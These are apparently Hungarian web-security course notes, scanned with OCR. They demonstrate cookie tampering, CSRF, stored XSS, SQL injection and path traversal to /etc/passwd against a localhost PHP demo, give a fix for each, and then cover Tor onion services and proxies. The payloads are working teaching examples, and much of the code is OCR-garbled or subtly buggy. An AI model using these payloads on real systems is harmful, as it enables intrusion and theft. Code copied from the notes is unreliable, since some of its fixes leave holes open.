[R 8] | Elements Console Sources Network  Performance  Memory  Application  Security  Lighthouse

Application G Fiter (] [ Only show cookies with an issue
W Manifest Name Value Domain Path Expires / Max-Age Size HttpC
s userName admin localhost ! Session 13

Select a cookie to preview its value

A transactions.php fajlban adjuk hozza ezt az Grlapot a tranzakcios lista félé

<form id='login' action='transactions.php' method="'post' accept-
charset="'UTF-8"'>
<div class="row">
<div class="col-sm">
<label for='ToUserName' >To UserName*:</label>
</div>
<div class="col-sm">
<input type="text' class="form-control mb-2 mr-sm-2"
name="'ToUserName' id='ToUserName' maxlength="50" required />
</div>
<div class="col-sm">
<label for='Amount' >Amount:</label>
</div>
<div class="col-sm">

<input type='text'class="form-control mb-2 mr-sm-2"
name='Amount' id='Amount' maxlength="50" required />
<input type="hidden" name="fromUserName" value="<?=
$ COOKIE['userName'];?>" />
</div>

<div class="col-sm">
<input type='submit' class="btn btn-primary mb-2" name='Submit'

id='submit' value='Send' />

</div>

</div>
</form>

Vedd észre, hogy hogy van egy rejtett bemenet, fromUserName, €s ennek az értéke a cookie -
bdl szarmazik.

A kéd, amely a felhasznaldnevet a tokenbdl szamitotta, igy modosul:

SuserName = $ COOKIE['userName'];



Lépjunk be Adminként és kuldjunk bent Alice részére.

Blice Ameunt: 444‘

A tranzakciok megjelennek:

To UserName™:

List of transactions

transaction id from to amount
2 bob admin 222
3 admin bob 333
4 admin alice 444

Téritsiik el a siitit a konzol ablakaban. irjuk at Az értéket “bob”

[w ﬂ Elements Console Sources

M ® | top ¥y & F

document.cookie

document.cookie="userNams=boh"
"userlame=bob"

dao =

» document.cookie

Most kildjunk egy kis pénzt az adminnak. (Megjegyzés: adminként jelentkeztlink be, igy a
pénzt magunknak kuldjuk).

Adjuk meg a kuldeni kivant értéket, €s nyomjuk meg a Send gombot.

z

To UserName™ Amount:

admin

Ha a siti el van téritve, a pénzt Bob szamlajardl kildtik.

List of transactions

transaction id from to amount
1 alice bob 11
2 bob admin 222
3 admin bob 333
6 bob admin 666

Ennek elkerllése érdekében ellenérizhetjiik, hogy ugyanazt a béngészét, ugyanarrodl az IP -
cimrél szolgaljuk-e ki. Ezeket a bongészd fejleszt6i eszkdzeinek haldzati lapjan lathatjuk.

A megoldas az, hogy nem a sima felhasznalénév mezét, hanem egy tokent hasznalunk.



Rejtett adatmezds tdmadasok

Most mar biztonsagossa tehetjlik a cookie -kat. De ha megvizsgaljuk a pénzt kiildé tranzakcios
oldal forrasat, latni fogjuk, hogy rejtett mez6 van benne:

himl lang="en
d>..</head

data-new-gr-c-s-check-loaded="14.999.8" data-gr-ext-installed

class="container

¥<form id="login" action="transactions.php” method="post" accept-charset="UTF-8
¥ <div class="row
col-sm">.</di
col-zm
col-sm" < /div
col-sm
input type="text" class="form-controcl mb-2 mr-sm-2" name="Amount” id="Amount” maxlength="58" required

input type="hidden" name="fromUseriame" value="bob"} == £&
jdiv

¥ <div class="col-s

E

input type="submit” class="btn btn-primary mb-2" name="Submit” id="submit" wvalue="Send
jdiv
fdiv
/form

A hacker megvaltoztathatja a ,bob” nevet. A megoldas az, hogy érzékeny adatokat nem
tovabbitunk tovabbitson a rejtett mezdkben, mert azok lathatoak lehetnek.

URL ugras tamadas
Amikor beirod a kévetkezd URL -t a bongészdbe, megjelenik a felhasznalé hozzaadasa Urlap

http://localhost:90/websec/addUser.php

Ez azt jelenti, hogy mindenki, aki ismeri ezt az URL -t, Uj felhasznalé6t vehet fel a rendszerbe.
Szeretnénk ezt ugy elkerllni, hogy csak a bejelentkezett felhasznaldék vehessenek fel (j
felhasznaldkat.

A szerver egy session -fjlt tart karban, amelybe informaciokat tarol. Ez j6 hely lehet a
bejelentkezett felhasznald nevének tarolasara. Ha ez ures, akkor az addUser oldalt nem
szabad megjeleniteni.

<?php
session start();

if (isset ($ SESSION["userName"])) {
echo "Serving user: ". $ SESSION["userName"];

}else({
die ("You have no permission to load the page");
return;

}

?>

A bejelentkezési oldalon elmentjuk felhasznaldnevet a session fajlba.
$loginInUser = null;
SuserToken = null;
while ($row = mysqgli fetch assoc($result)) {
$loginInUser = $row["userName"];
SuserToken = Srow["userToken"];
$ SESSION["userName"] = $loginInUser;


http://localhost:90/websec/addUser.php

break;

}
Fontos, hogy el6szor elinditsuk a munkamenetet (session_start()).

Session eltérités
A session eltérités mdgott az a gondolat van, hogy a hackerek ellopjak a session adatokat.

Session identifier |"

Client | Server
+— Cookies + |
C )
- T Server response
L ™y
Hacker
h" -
1
X Headers Preview Response Initiator Timing Cookies

v wEETET
Request URL: http://localhost:%@/websec/login.php
Request Method: GET
Status Code: @ 200 0K
Remote Address: [::1]:98

Referrer Policy: strict-origin-when-cross-origin

¥ Response Headers view source
Connection: Keep-alive
Content-Length: 1317
Content-Type: text/html
Date: Sat, 26 Dec 2828 16:47:19 GMT
Keep-Alive: timeout=5, max=188
Server: Apache/2.4.9 (Win32) OpensSL/1.9.lg PHP/5.5.11
X-Powered-By: PHP/5.5.11
¥ Request Headers view source
Accept: text/html,application/xhiml+xml,application/xml;g=08.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exch
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;g=8.9,hu;q=0.8
Connection: keep-alive
Cookie: userdame=admin
Host: localhost:9@
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: 21
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.@ (Windows NT 18.@; WinG4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/&7.8.4283.88 Safari/537.36

A szamitogépemen a remote address (tavoli cim) [:: 1]: 90, a bdngészdm pedig a
Chrome/87.0.4280.88

Hozzunk létre egy fliggvényt, amely egyedi hash -t general ezekbdl az informaciokbal.

// generate a verification string from IP and user agent
function getuserAgentInfo () {
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$ip = null;
if (!empty($_SERVER['HTTP CLIENT IP'])) {
$ip = $ SERVER['HTTP CLIENT IP'];
} elseif (!empty($ SERVER['HTTP X FORWARDED FOR'])) {



$ip = $ SERVER['HTTP X FORWARDED FOR'];
} else {
$ip = $ SERVER['REMOTE ADDR'];
}
return $ip . ":" .Suser agent ;
}
Ezutan adjunk hozza olyan kédot, ami ezt a hash-t elmenti a session fajlba. Ezutan a hivasok

ellendrzik, hogy az IP cim vagy a bdngészé megvaltozott-e.

// first time login generates token
if (empty ($ SESSION['UPCI'])) {

$_SESSION['UPCI'] = md5 (getUserPCInfo(), PASSWORD DEFAULT) ;
} else {

// ask user to re-open the browser

if (!password verify( getUserPCInfo(),$ SESSION['UPCI'] ) ) {

die ("You are not using a valid Token, close the browser and open it

again") ;

}

Cross site request forgery
Az ilyen tipusu tamadasok soran a tamadé megvizsgalja az (rlap forraskodjat. Példaul:

c @ view-source:localhost:90/websec/transactions.php?userToken=89dcad1a-476¢-11eb-8004-00090faa0001

z| <html lang="en">

2| <head>

4 <title>Transactions</titlex

5 <meta charset="utf-8">

] <meta name="viewport" content="width=device-width, initial-scale=1"»

7 <l-- Bootstrap €55 -->

3 <link href="https://cdn.jsdelivr.net/npm/bootstrapfs.a.8-betal/dist/css/bootstrap.min.css” rel="stylesheet" crossorigin="anonymous">
] <!-- Bootstrap Bundle with Popper --»

0 <script src="https://cdn.jsdelivr.net/npm/bootstrap@s.@.8-betal/dist/js/bootstrap.bundle.min.js™ crossorigin="ancnymous"»></script>

1| </head>

2
1| <body>

14 <div class="container">
5

5

<form id="login® action="transactions.php’ method='post" accept-charset="UTF-&'>
<div class="row">

maxlength="50" required />

7 <input type="text®class="form-control mb-2 mr-sm-2" name="Amount’ id="Amount' maxlength="58" required />
28 <input type="hidden" name="fromUserName™ value="bob™ />

bmit® class="btn btn-primary mb-2" name='Submit' id='submit' value='Send" />

35 <br /><br /><br />
36 <h2> List of transactions</h2>

37 <table class="table table-bordered table-striped”>

=] <thead>

39 <tr>

40 <th> transaction id </td:

41 <th> from «</td»

42 <thr tod/td>

43 <th> amount</td»

4 <ftr>

45 </thead>

45 <tbody>

47 <tr class='success'y <tdyl <ftd> <tdralice </td> <tdrbob</td> <td»111</td> </tr> <tr class="danger'> <td»2 </td> <tdrbob </td> <tdradmin</td> <td»
4 </tables

48 <fdivy

50 </body>

Masold ki a kiemelt szoveget, és tedd be egy fajlba a helyi szamitégépen.
<form id='login'
action="http://localhost:90/websec/transactions.php?userToken=89dcadla-476¢c-11leb-
8004-00090£fa2a0001" method='post' accept-charset='UTF-8'>
<div class="row">
<div class="col-sm">
<label for='ToUserName' >To UserName*:</label>



</div>
<div class="col-sm">
<input type="'text' class="form-control mb-2 mr-sm-2"
name="'ToUserName' id='ToUserName' maxlength="50" required />
</div>
<div class="col-sm">
<label for='Amount' >Amount:</label>
</div>
<div class="col-sm">
<input type='text'class="form-control mb-2 mr-sm-2"
name="'Amount' id='Amount' maxlength="50" required />
<input type="hidden" name="fromUserName" value="bob" />
</div>
<div class="col-sm">
<input type='submit' class="btn btn-primary mb-2" name='Submit'
id='submit' value='Send' />
</div>
</div>
</form>

Modositsd az action paramétert a form tagben, hogy a szerver URL-re mutasson. Mentsd el
a fajlt a helyi szamitdgépen és nyisd meg a bongészdben.

< C @ File | DyTEMP/CSRF.html

To UserName®:

| alice |
Amount:

777 |

Send

Add meg az adatokat az Urlapon és kuldd el a pénzt. Bar az oldalon megjelenik néhany
hibatzenet, pl.:

< C @ localhost90/websec/transactions.php?userToken=89dcad1a-476¢-11eb-8004-00090faa0001

To UserName™: Amount:

(@®) Notice: Undefined index: userName
in
DiAxampp\htdocs\websec\transactions.php
on line 28 Call Stack
#TimeMemoryFunctionLocation
10.0011149496{main}(
)-Atransactions,phpi0 * />

List of transactions

transaction id from to amount

# Time Memory Function Location

1 00011 149496 {main}( ) .transactions.php:0

Az adatbazisban megjelenik az uj rekord, amit most adtunk hozza.



phpMyAdm".n ] 7 Server: 127.0.0.1 » @ Database: websec » [ Table: transactions

HBOO)E [E Browse | 34 Structure | ] SQL 4 Search ¥t Insert [& Export
| (Recent tables) .. V| )
+ Showing rows 0 - 6 (7 total, Query took 0.0075 sec)
& New -
+ | applictarsk
+H 1 cdcol
+- | information_schema SELECT * FROM "transactions’
+H1 mysql
+— | performance_schema
+~ 1 phpmyadmin R
- realsis1 Number of rows: | 25 V|
F test
¥ | webauth Sort by key:| MNone V|
+ i webbroker .
T2 websec + Options
=t N +—T— + id fromUser toUser amount
aw
= ETETEITTE [ &7 Edit %2 Copy @ Delete 1 alice bob m
Columns [J 7 Edit % Copy @ Delete 2 bob admin 222
[J &7 Edit % Copy @ Delete 3 admin bob 333
[] 7 Edit %c Copy @ Delete 4 admin alice 444
[ g7 Edit %2 Copy @ Delete 5 admin alice 555
[ 7 Edit #%: Copy @ Delete 6 bob admin 666
[J 7 Edit 3% Copy @ Delete 7 bob alice T
t [[] Check All With selected: .7 Change @ Delete [&2 Export
- MNumber of rows: | 25 v|

E

A megoldas az, hogy minden tranzakciéhoz egy véletlenszer(i szamot kell alkalmazni.
Hasznalni fogjuk a kévetkez6t:

unigid($prefix,

SmoreEntopy = true) ,

Egy véletlen szamot alkalmazunk el6tagként, és létrehozzuk az egész karakterlanc md5 hash

-jét:

md5 (unigid (mt rand(), true));

So, all you need is to add the following code before the form:

<?php

// Code to avoid CSRF attack
// make sure it is post process
session start();

if ($_POST)

{

// 1f token not vaild reject request

if (S POST["csrf"] != $ SESSION["token"]) {
echo " not valid request";
return;

}

// create new token for every new request
$ SESSION["token"] = md5(unigid(mt rand(), true));
?>



Ez biztositja, hogy a session elinduljon. Ha a hivas POST hivas, akkor 6sszehasonlitjuk a csrf
paramétert a session-fajlba mentett tokennel. Ha az ellendrzés sikertelen, akkor az (rlap kilép.
Egyébként véletlenszerl tokent generalunk, és elmentjuk a session-fajlba.

A csrf -et rejtett paraméterként kell hozzaadni az Grlaphoz:

<input type="hidden" name="csrf" value="<?= $ SESSION['token'];?>" />

Ennek eredményeként, ha egy tamado ellopja az egész (irlapot, akkor a véletlenszer( tokent
nem lehet kitalalni, igy nem hajtodik végre tranzakcio.

Cross site scripting
Adjunk hozza egy megjegyzések mezdbt a tranzakcios tablahoz.

B CiiSever 127.0.0.1> @ Database: websec » [} Table: transaciions.

[ Browse 34 Stuctre | [J SQL 4 Search 3t Insert [@ Export =) Import =% Privileges = &° Operations ® Tracking = 2% Triggers
Structure o

Name Type & LengthValues Default & Collation Attributes Null Index A} Comments MIME type Browser Transformation
transformation options @)

notes VARGHAR M None M M v 0O |- ~ O M M

Save

A transactions.php fajlban adjuk hozza az uj mezét a formhoz.

<form id='login' action='transactions.php' method='post' accept-
charset="'UTF-8"'>
<div class="row">
<div class="col-sm">
<label for='ToUserName' >To UserName*:</label>
</div>
<div class="col-sm">
<input type='text' class="form-control mb-2 mr-sm-2"
name="'ToUserName' id='ToUserName' maxlength="50" required />
</div>
<div class="col-sm">
<label for='Amount' >Amount:</label>
</div>
<div class="col-sm">
<input type='text'class="form-control mb-2 mr-sm-2"
name="'"Amount' id='Amount' maxlength="50" required />

<input type="hidden" name="fromUserName" value="<?=
$ COOKIE['userName'];?>" />
<input type="hidden" name="csrf" value="<?=
$ SESSION['token'];?>" />
</div>

<div class="col-sm">
<label for='Notes' >Notes:</label>
</div>
<div class="col-sm">
<input type='text'class="form-control mb-2 mr-sm-2"
name='Notes' id='Notes' />
</div>
<div class="col-sm">
<input type='submit' class="btn btn-primary mb-2"
name="'Submit' id='submit' value='Send' />
</div>
</div>
</form>



A tranzakciok listajaban adjuk hozza az uj mezét a fejléchez:

<h2> List of transactions</h2>
<table class="table table-bordered table-striped">
<thead>
<tr>
<th> transaction id </td>
<th> from </td>
<th> to</td>
<th> amount</td>
<th> notes</td>
</tr>
</thead>

Es a tabla torzséhez is:

while (S$row= mysgli fetch assoc(Sresult)) {

SrowColor ="class='success'";

if (Srow["fromUser"]==SuserName) {
SrowColor ="class='danger'";

}

echo " <tr ". SrowColor .">";

echo " <td>". Srow["id"] ." </td>";

echo " <td>". Srow["fromUser"] ." </td>";

echo " <td>". Srow["toUser"]."</td>";

echo " <td>". Srow["amount"]."</td>";

echo " <td>". Srow["notes"]."</td>";

echo " </tr>";

Az Insert query is modositandé:

Squery ="insert into transactions (fromUser, toUser, amount, notes)
values ('". $ POST['fromUserName'] ."','". $ POST['ToUserName'] ."',".
$ POST['Amount'] ."',". $ POST['Notes'] . ")";

Most igy néz ki a tranzakciok oldal:

&« C @ localhost90/websec/transactions.php * @ » @ :

To UserName™ Amount: Notes:

List of transactions

transaction id from to amount notes
1 alice bob 7]
2 bob admin 222
3 admin bob 333
6 bob admin 666
7 bob alice 777

] bob alice 888



ird be a kévetkezé javascript kodot a Jegyzetek mezébe:

<script>alert ('XSS testing')</script>

Mostantdél, amikor a tranzakcios lista megjelenik, a javascript kod végrehajtodik.

localhost: @0 says

XS5 testing

Barmilyen kédot végrehajthatsz. Hozz 1étre példaul a fakepage.php fijlt, és médositsd a hivast
erre:

<script>
document.location="http://localhost:90/websec/fakepage.php";</script>

Es a tranzakcios fajl at lesz iranyitva.

“— C @ localhost:90/websec/fakepage.php

Fake transactions page

A javitas meglehet6sen egyszeri: enkodold a Jegyzetek mez6ét a sor kinyomtatasa el6tt:

while (S$row= mysgli fetch assoc(Sresult)) {
SrowColor ="class='success'";
if (Srow["fromUser" ]==SuserName) {

SrowColor ="class='danger'";

}
echo " <tr ". SrowColor .">";
echo " <td>". Srow["id"] ." </td>";
echo " <td>". Srow["fromUser"] ." </td>";
echo " <td>". Srow["toUser"]."</td>";
echo " <td>". Srow["amount"]."</td>";
echo " <td>". htmlentities (Srow["notes"])."</td>";

echo " </tr>";



& > C @ localhost:30/websec/transactions.php

To UserName™: Amount: Notes:

List of transactions
Array ()

transaction id from to amount notes
1 alice bob 1
2 bob admin 222
3 admin bob 333
6 bob admin 666
7 bob alice 777

8 bob alice 388 <script> document location="http://localhost:90/websec/fakepage.php"; </script>

SQL injection
Nézzik meg a lekérdezést a login oldalon:

select * from users where userName='admin' and password='admin'
Az els6 sztring konstans a felhasznalénév mezdbdl, a masodik a jelsz6 mezébél szarmazik.
Mi van, ha a jelszé mez6 beirjuk az

o’ or ‘1’ = '1

értéket? A lekérdezés igy fog megjelenni:

select * from users where userName='admin' and password='o' or "1’ = "1’
Ezzel kihagyjuk a jelsz6 ellendrzést, mert a where mindig igaz lesz. igy be tudunk Iépni

adminként.
A megoldas a prepared statements (el6készitett utasitasok) alkalmazasa.

A php kézikdnyv prepared statements oldala azt mondja:
(https:/lwww.php.net/manual/en/mysqli.quickstart.prepared-statements.php)

A MySQL adatbazis tamogatja az elGkészitett utasitdsokat. ElSkészitett utasitds vagy
paraméterezett utasitas hasznalhaté ugyanazon utasitas ismételt végrehajtasara.

Az elbkészitett utasitas vegrehajtasa két szakaszbdl all: el6készités és végrehajtas. Az
elékészitési szakaszban egy sablont kild az adatbazis-kiszolgalonak. A szerver szintaktikai
ellendrzést végez, és inicializalja a kiszolgal6 belsd eréforrasait késébbi hasznalatra.

Squery ="select userName from login where userName=? and password=?"
$loginInUser=null;

/* create a prepared statement */

if (Sstmt Smysgli->prepare (Squery)) {

/* bind parameters for markers */

$stmt->bind param("ss", § POST['userName'],$ POST['password'l]);
/* execute query */
Sstmt->execute () ;

/* bind result variables */
$stmt->bind result($loginInUser);

/* fetch value */
Sstmt->fetch () ;



/* close statement */
Sstmt->close () ;
}

/* close connection */

Smysgli->close() ;

A bind_parameter els6é paramétere egy tipusleird karakter:

Karakter Leiras

i integer

d double

S string

b blob (csomagokban kiildve)

A fenti mintakodban két karakterlanc tipusu karakter talalhato, ezért ,ss” a tipus.

Konyvtar bejaras

Sok operacios rendszerben vannak specialis karakterek, amelyek bizonyos kényvtarba valé
athaladast jelentenek. példaul ../ (dot dot perjel) azt jelenti, hogy felmegyink egy kényvtar
szintet.

<?php
Sfname= 'myfile.php';
if (isset($_COOKIE['FNAME'])) {

Stemplate = $ COOKIE['FNAME'];
}

include "/home/users/oliver/work/" . Sfname;

Linux rendszerben allitsuk be a cookie értékét:
Cookie: FNAME =../../[..[..1..1..1..I..]../etc/passwd

igy a kimenet:

root:ge4jPT12ivkL7:0:1:System Operator:/:/bin/ksh

daemon:*:1:1::/tmp:

Az ilyen tamadasok megel6zésére a kovetkezs lehet6ségek vannak:

1. Nem engedjik a specialis karakterek hasznalatat, ilyenek a pont pont, , slash,
backlash, vagy ezek enkédolt verzidjat:
o  %2e%2e%2f aminek a megfeleldje ../
o  %2e%2e/ aminek a megfelelbje ../
e ..%2f aminek a megfeleléje ../
e  %2e%2e%5c aminek a megfelel§je ..\
e %cCl%1lc
o %c0%af



2. A fijlneveket abszolit utvonalra konvertaljuk, és biztositjuk, hogy mindegyik
ugyanabbdl a dokumentum utvonalrél indul.

Hivatkozasok
[1] https://owasp.org/www-community/attacks/
[2] https://www.php.net/manual/
[3] https://github.com/hussien89aa/swa
[4] Understanding Computer Browser Cookies: Internet Convenience, Information
Security and Computer Privacy http://internet-
security.suite101.com/article.cfm/understanding _computer_browser _cookies#ixz

z0swFXNajh



https://owasp.org/www-community/attacks/
https://www.php.net/manual/
https://github.com/hussien89aa/swa

Anonimitas

Tor browser telepitése Kali Linuxon
Kali Linux kétféleképpen lehet Tor bongészét telepiteni:

1. Toltsd le a https://www.torproject.org/projects/torbrowser.html.en oldalrél és
csomagold ki kézzel.

2. Hasznald a torbrowser-launcher csomagot, amely letoltheté innen [5]:
https://github.com/micahflee/torbrowser-launcher

A Tor browser-launcher nem része a hivatalos TOR kiadasnak, de de egyszerisiti annak
naprakészen tartasat. Elényei a kdvetkezék:

e + Mindig a legujabb verzié kerul letoltésre

e« Segit kivalasztani a megfeleld operacids rendszert, processzor architekturat és nyelvi
verziot

o -« Telepitéskor elinditja a Tor bongészt

o < Ellenérzi a Tor bongészé alairasait

e + Hozzaadja a "Tor Browser" és a "Tor Browser Launcher Settings" alkalmazasinditot
az asztali kdrnyezet menujéhez

e -« Tartalmazza az AppArmor profilokat

e + megakadalyozza a downgrade tamadasokat

e Atorbrowser-launcher nem https alapu

Futtassuk a kovetkez6t:

sudo apt-get install torbrowser-launcher

File Actions Edit View Help

1—- sudo apt-g¢ 'Vinstall torbrowser-launcher

Readingipackage lists ... Done
Building dependency tree

Most elindithatjuk a Tor Browser programot a grafikus fellletrdl.

B e o] ) kali@kali: ~

Q, tor

‘, Tor Browser Launcher Settings

‘, Tor Browser

| |Terminal Emulator

Az elsb alkalommal telepiti a csomagot.


https://github.com/micahflee/torbrowser-launcher

Tor Browser

Downloading Tor Browser for the first time.

Downloaded 90.4% (74.0 MiB)

® Cancel

Kattints a Csatlakozas gombra (nem kell konfiguralni).

Click “Connect"” to connect to Tor.

Click “Configure” to adjust network settings if you are in a country that censors Tor (such as Egypt,
China, Turkey) or if you are connecting from a private network that requires a proxy.

Connect Configure

A Tor Browser hasznalatra kész.

About Tor - Tor Browser

About Tor
w O «

e Tor Browser 10.0.7
@ Let's get started. View Changelog

G Search with DuckDuckGo

Tor is free to use because of donations from people like you. Donate Now

Questions? Check our Tor Browser Manual »

& n . . .
@1 Get the latest news from Tor straight to your inbox. Sign up for Tor News. »




Onion server telepitése

Az onion szerver képes kiszolgalni tor klienseket. A telepitéshez keressiik meg, hol van a torrc
fajl.

Nyisd meg a fajlt egy editorban és vedd ki a megjegyzéseket a kbvetkezd sorok elél:
HiddenServiceDir /var/lib/tor/other_hidden_service/
HiddenServicePort 80 127.0.0.1:80

62 iHEHEHEREEREEE This section is just location hidden services #HHt
63

64 i Once you have configured a hidden service, you can look at the

65 ## contents of the file " ... hidden_service hostname"” the address
66 ## to tell people.

67 it

68 ## HiddenServicePort x y:z says to redirect requests on port x to the
69 #4# address y:z.

70

71 #HiddenServiceDir /var lib tor hidden_service

72 #HiddenServicePort

73

74 HiddenServiceDir var lib tor other_hidden_service

75 HiddenServicePort

76 #HiddenServicePort

Most mentsd el a torrc -t, és inditsd Ujra a Tor-t.
$ sudo systemctl tor restart

Futtasd a kovetkez6t:

service apache?2 start

Menj a /var/lib/tor/other_hidden_service kdnvtarba—root jogosultsag szikséges.

- Jvar/lib/tor
/var/lib/tor/other hidden service

- fvar/lib/tor/other_hidden_service

hostname hs_ed25519_public_key

Add ki a

cat ./hostname t



parancsot az onion szerver nevének megtekintéséhez. Ezt kell begépelni a Tor bdngészébe:

- fvar/lib/tor/other_hidden_service
~at . /hostname

hcoladjslpdmlzghg3fztkjtpaggru7xiby3y2gn7t25rm54747frgid.onion

Hivatkozasok
[1] https://github.com/micahflee/torbrowser-launcher.

Proxy

A proxy szerver egy atjaré koztunk és az internet kozott. Ez egy kozbens6 szerver, az 6sszes
adatforgalom a proxykiszolgaldn keresztll aramlik. A proxyszerver igy elvalaszt minket az
internettél. Mind a bejovd, mind a kimend kérések a szerveren keresztll folynak (bizonyos
kivételekkel)

A proxy szerverek funkcioi:

e biztonsag megvaldsitasa,
e maganélet védelme,

o teljesitmény fokozasa,

o vallalati szabalyok ellatasa.

A modern proxy szerverek sokkal tébbet tesznek annal, hogy egyszerlien tovabbitjak a webes
kéréseket. Biztonsagi feladatokat latnak el, javitjak a teljesitményt. A proxy szerverek:

o tlzfalként és websziréként mikddnek,

o megosztott halézati kapcsolatok biztositanak,

e gyorsitotar -adatokat tarolnak a gyakori kérések felgyorsitdsa érdekében,
e megvédenek a nem kivant tartalomtél,

e magas szint(i adatvédelmet biztositanak.

Az interneten minden szamitégépnek egyedi Internet Protocol (IP) cimmel kell rendelkeznie.
Tekinthetjik ezt az IP -cimet a szamitégép postai cimének. Ahogy a posta is tudja, hogy a
leveleket hogyan kell a postai cimUlnkre szallitani, az internet is tudja, hogyan kell a megfelel$
adatokat elkildeni a megfelel6 szamitdgépre az IP -cim alapjan.

A proxyszerver alapvet6en egy szamitdogép az interneten, sajat IP -cimmel, amelyet mi
szamitogépunk ismer. Amikor webes kérést kildink, a kérésunk el6szor a proxy szerverhez
kerul. A proxyszerver ezutan a mi nevunkben elkuldi webes kérését, 6sszegyljti a valaszt a
webszervertdl, és tovabbitja neklink a weboldal adatait, igy lathatjuk az oldalt a béngészdben.


https://www.varonis.com/blog/wp-content/uploads/2018/05/what-is-a-proxy-server.png

Amikor a proxykiszolgal6 tovabbitja webes kéréseket, modosithatja az elklildétt adatokat, és
de mi tovabbra is azt az adatot kapjuk, amit elvarunk. A proxykiszolgalé6 megvaltoztathatja az
IP -cimét, igy a webszerver nem tudja pontosan, hol van a vilagon a kildé. Titkosithatja az
adatokat, igy az adatok olvashatatlanok a szallitds soran. Es végiil, a proxy szerver
blokkolhatja a hozzaférést bizonyos weboldalakhoz az IP -cim alapjan.

A Proxy szerver hasznalati esetei
Szamos oka van annak, hogy a cégek és maganszemélyek proxyszervert hasznalnak.

e Az gyermekek vagy alkalmazottak internethasznalatanak szabalyozasa: A
szervezetek és a szUl6k proxyszervereket allitanak be annak ellenérzésére és nyomon
kovetésére, hogy alkalmazottjaik vagy gyermekeik hogyan hasznaljak az internetet. A
szervezet nem akarja, hogy a vallalati idében nézzen meg bizonyos webhelyeket, és
beallithatia a proxykiszolgalét, hogy megtagadja a hozzaférést bizonyos
webhelyekhez, ehelyett egy kedves megjegyzéssel iranyitjia Ont, hogy ne tartézkodjon
az emlitett webhelyek megtekintésétél a vallalati halézaton. Ok is figyelemmel
kisérhetik és napldzhatjdk az dsszes webes kérést, igy annak ellenére, hogy esetleg
nem blokkoljak a webhelyet, tudjak, mennyi id6t tolt a szamitdégépes csalassal.

o Savszélesség -megtakaritas és jobb sebesség: A vallalatok a teljes halozati
teljesitményt is javithatjak egy j6 proxy szerverrel. A proxykiszolgalok gyorsitotarba
helyezhetik a népszeri webhelyeket (a webhely masolatat helyben elmenthetik) - igy
amikor a bongész6 az adott webszerver letoltését kéri, a proxyszerver ellenérzi, hogy
rendelkezik -e a webhely legujabb példanyaval, majd elkildi a mentett példanyt. Ez
azt jelenti, hogy amikor tdbb szaz ember éri el egyszerre a webhelyet ugyanazon proxy
szerverrOl, a proxy szerver csak egy kérést kild a webhelyre. Ez megtakaritja a
savszélességet, és javitja a halozati teljesitményt.

o Adatvédelmi el6nyOk: maganszemélyek és vallalatok egyarant proxykiszolgaldkat
hasznalnak az internet privat bongészéséhez. Egyes proxykiszolgaldk megvaltoztatjak
az IP -cimet és a webkérés egyéb azonositd adatait. Ez azt jelenti, hogy a célszerver
nem tudja, ki kuldte be az eredeti kérést, ami segit megbrizni személyes adatait és
bongészési szokasait.

o Fokozott biztonsag: A proxyszerverek az adatvédelmi elénydk mellett biztonsagi
elénydket is nyujtanak. Beallithatjuk a proxykiszolgalot, hogy titkositsa a webes
kéréseket, hogy a kivancsiskoddé szemek ne olvassak tranzakciéit. Azt is
megakadalyozhatjuk, hogy a rosszindulatt webhelyek hozzaférienek a
proxykiszolgaldn keresztil adatainkhoz. Ezenkivil a szervezetek 0Ossze tudjak
kapcsolni a proxykiszolgaléjukat egy virtualis maganhaldzattal (VPN), igy a tavoli
felnasznaldk mindig a vallalati proxyn keresztll férnek hozza az internethez. A VPN
kozvetlen kapcsolat a vallalati halozattal, amelyet a vallalatok kils6é vagy tavoli
felhasznaldknak biztositanak. A VPN hasznalataval a vallalat ellenérizheti és
ellenérizheti, hogy a felhasznalok hozzaférnek -e a szikséges eréforrasokhoz (e -mail,
belsé adatok), mikdzben biztonsagos kapcsolatot biztosit a felhasznalé szamara a
vallalati adatok védelme érdekében.

e Hozzaférés a blokkolt eréforrasokhoz: A proxykiszolgalok lehetévé teszik a
felhasznaldk szamara, hogy megkertiljék masok altal (pl.: vallalatok vagy kormanyok)
altal el6irt tartalomkorlatozasokat. Ha példaul egy sportkdzvetités le van tiltva
Magyarorszagrol bongész6k szamara, akkor jelentkezzunk be egy proxy szerverre az
vilag masik oldalan, és nézziik meg onnan.



Proxy szerver kockdazata
A proxykiszolgald hasznalatanak néhany lehetséges kockazata van:

Ingyenes proxy szerverek kockazata

Az ingyenes proxy szolgaltatas hasznalata kockazatos is lehet, még a hirdetéseken
alapulo bevételi modelleket hasznald szolgaltatasok is. Az ingyenes altalaban azt
jelenti, hogy nem fektetnek be komolyabban a backend hardverbe vagy a titkositasba.
El6fordulhat, hogy ez teljesitményproblémakat és Iehetséges adatbiztonsagi
problémakat okoz. Az ,ingyenes” proxy szerverek egy része csalo.

Bongészési torténet eltarolasa

A proxykiszolgalé az eredeti IP -cimet és a webes kérés adatait esetleg lokalisan,
titkositatlanul tarolja. Ellenérizzlk, hogy a proxyszerver naplézza -e és menti -e ezeket
az adatokat - és hogy milyen megbrzési vagy blnllddzési egyuttmikddési
iranyelveket kdvetnek.

Nincs titkositas

Ha proxyszervert hasznalunk titkositas nélkil, akkor lehet, hogy nem is hasznalunk
proxykiszolgalot. A titkositas hianya azt jelenti, hogy kéréseket egyszeri szovegkent
kuldjuk el. Barki, aki lehallgat, valéban kénnyen le latja a felhasznaldéneveket,
jelszavakat és a fiokadatokat.

Proxy Szerver tipusok

Nem minden proxyszerver mikodik ugyanugy. Fontos megérteni, hogy pontosan milyen
funkciokat kapunk az egyes a proxy szervertdl. [1] a kovetkez6képpen kategorizalja a
proxykiszolgalokat:

Forward proxy

A tovabbité proxy az Ugyfelek elétt mikodik, és arra szolgal, hogy adatokat juttasson
a belsd halézaton beluli felhasznaléi csoportokhoz. Kérés elkiildésekor a proxyszerver
eldonti, hogy indokolt-e Uj a kapcsolat Iétrehozasa.

Az tovabbitd proxy a legmegfelelébb olyan belsdé haldézatokhoz, amelyek egyetlen
belépési pontot igényelnek. Biztositja az IP -cimek biztonsagat a halézatban Iévék
szamara, és lehetévé teszi az egyszer(i adminisztracios felligyeletet.

Atlatszo6 proxy

